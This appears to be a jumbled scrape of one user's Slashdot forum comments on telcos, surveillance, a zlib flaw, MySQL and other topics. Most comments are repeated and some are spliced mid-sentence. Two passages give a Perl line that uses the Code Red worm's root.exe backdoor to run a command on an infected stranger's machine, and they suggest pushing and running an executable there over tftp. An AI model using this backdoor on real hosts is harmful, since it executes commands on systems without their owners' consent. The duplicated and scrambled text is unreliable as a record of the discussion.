"The owners and employees who started the telcos and grew them and maintained them have already been amply rewarded - they were paid while they were doing it and they got to see the value of their stocks grow. If they want more money, they have plenty of other options besides being subsidized by the Federal Govt."
What would happen, hypothetically speaking, if, say the Telecom Behemoths all decided to dismantle ALL their network equipment, disconnect all their landlines and started selling Wisconsin cheese?
Do any of these little phone companies (CLECs) have the capital to invest in nationwide networks that bring phone service TO YOUR DOOR? A service many people take for granted by the way..
The word is actually spelled PAID not 'payed' as everyone else here thinks.... But then again this is/. and inherent in its purpose is the slaughter of the English language...
Sorry for the earlier Freudian slip.. The website is at http://www.zlib.org and they have just updated their website and it's not/.'ed.. Yet...
Sorry for the earlier wrong link..
From now on bookstores will have to display this sign at a visible spot inside the store:
"Notice to Customers:
The Management reserves to right to collect information on your purchases and reading habits AND share that information with local and federal law enforcement agencies.
If you do not agree to this, please leave the store now.
Thank you for your cooperation, the Management Team"
Welcome to the 21st century! I'm leaving the planet when the government starts burning books.........
What if these nanobots figure out how to incorporate marine life into themselves, create a big hybrid creature controlled by their collective intelligence and try to take over the world???!?!?!?!!
I'm keeping my cable until the day my cable provider realizes the fact that there are idiots out there who would pay to get cable for each TV they own and start charging their customers (read: gullible dummies) like so...
Then other companies will realize potential cash cows: AT&T will (re)start charging people per the number of phones they have in their houses. TV manufacturers will charge TV's by the number of channels the TV can receive. When you buy a DVD player, you will only be able to play so many DVDs before you have to purchase viewing rights for more DVDs (and audio CD player manufacturers will follow suit shortly thereafter)....
I, personally, draw the line at pay-per-step shoes...
xixax says:
"And we'll know exactly where you are at any given time, people in public places without valid phones will be investigated by the police and everyone else's movments will belogged to prove their innocence."
That's fine and dandy, but, have you considered the fact that they can, in all actuality, track all your movement with that phone, and instead of proving your innocence, use that information for marketing purposes?:)
And then you'll start getting catalogs from Victoria's Secret, just because you stayed in front of the store to look at the bra ad more than 30 seconds...
You can modify the Sam Philips' script so that it sends a message to the infected machine:
my $iis_stop_req = new HTTP::Request (GET => "http://$ENV(REMOTE_ADDR}/scripts/root.exe?/c+net+ send+*+\"You are INFECTED with the CODE RED WORM! Please FIX your IIS!\"");
If you are running a TFTP server, Windows 2000 has a tftp client that you can use to download the CodeRedCleanup.exe and run it on the infected machine.
With an exploit like this, the possibilities are endless......
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the obvious fact that IBM could disintegrate SCO if they wanted to, why is this press release not on IBM's website?...
Just wondering...
imagine a beowulf cluster of these.... ;)
sorry I had to say it..
Imaging a beowulf cluster of those ;)
/had/ to...)
(sorry I just
Arthur C. Clarke has been writing about these for about 30 years now.....
"The owners and employees who started the telcos and grew them and maintained them have already been amply rewarded - they were paid while they were doing it and they got to see the value of their stocks grow. If they want more money, they have plenty of other options besides being subsidized by the Federal Govt."
What would happen, hypothetically speaking, if, say the Telecom Behemoths all decided to dismantle ALL their network equipment, disconnect all their landlines and started selling Wisconsin cheese?
Do any of these little phone companies (CLECs) have the capital to invest in nationwide networks that bring phone service TO YOUR DOOR? A service many people take for granted by the way..
given the fact that MySQL is nothing but a glorified query interface glued on top of a crude filesystem.
Please compare MySQL to IMS or DB/2 and tell me it's not inferior in both implementation and supported features....
Who in their right minds would watch MTV Movie awards when Stanley Cup Finals is on anyways??
GO WINGS!!!
What the hell are you talking about...
The word is actually spelled PAID not 'payed' as everyone else here thinks.... But then again this is /. and inherent in its purpose is the slaughter of the English language...
Have any of you realized, in that article at Wired, they 'deep-linked' to that Dallas News article as well..
Well, where's the cease-and-desist order for Wired?
Double standards? Hmm?
Sorry for the earlier Freudian slip.. /.'ed.. Yet...
The website is at http://www.zlib.org and they have just updated their website and it's not
Sorry for the earlier wrong link..
it says on http://www.zlibc.org How's that for fast service? :)
Is there anything in a Linux distro that doesn't use zLib?? Man, this is huge...
:)
Is there any more information on this vulnerability?
On the other hand, let's see how long it takes for zLib maintainers to come up with a patch..
- "Notice to Customers:
Welcome to the 21st century! I'm leaving the planet when the government starts burning books.........The Management reserves to right to collect information
on your purchases and reading habits AND share that information
with local and federal law enforcement agencies.
If you do not agree to this, please leave the store now.
Thank you for your cooperation, the Management Team"
What if these nanobots figure out how to incorporate marine life into themselves, create a big hybrid creature controlled by their collective intelligence and try to take over the world???!?!?!?!!
Then other companies will realize potential cash cows: AT&T will (re)start charging people per the number of phones they have in their houses. TV manufacturers will charge TV's by the number of channels the TV can receive. When you buy a DVD player, you will only be able to play so many DVDs before you have to purchase viewing rights for more DVDs (and audio CD player manufacturers will follow suit shortly thereafter)....
I, personally, draw the line at pay-per-step shoes...
I didn't like it at all anyways :P
xixax says:
:)
"And we'll know exactly where you are at any given time, people in public places without valid phones will be investigated by the police and everyone else's movments will belogged to prove their innocence."
That's fine and dandy, but, have you considered the fact that they can, in all actuality, track all your movement with that phone, and instead of proving your innocence, use that information for marketing purposes?
And then you'll start getting catalogs from Victoria's Secret, just because you stayed in front of the store to look at the bra ad more than 30 seconds...
Yes, it'll really be cool.
my $iis_stop_req = new HTTP::Request (GET => "http://$ENV(REMOTE_ADDR}/scripts/root.exe?/c+net+ send+*+\"You are INFECTED with the CODE RED WORM! Please FIX your IIS!\"");
If you are running a TFTP server, Windows 2000 has a tftp client that you can use to download the CodeRedCleanup.exe and run it on the infected machine.
With an exploit like this, the possibilities are endless......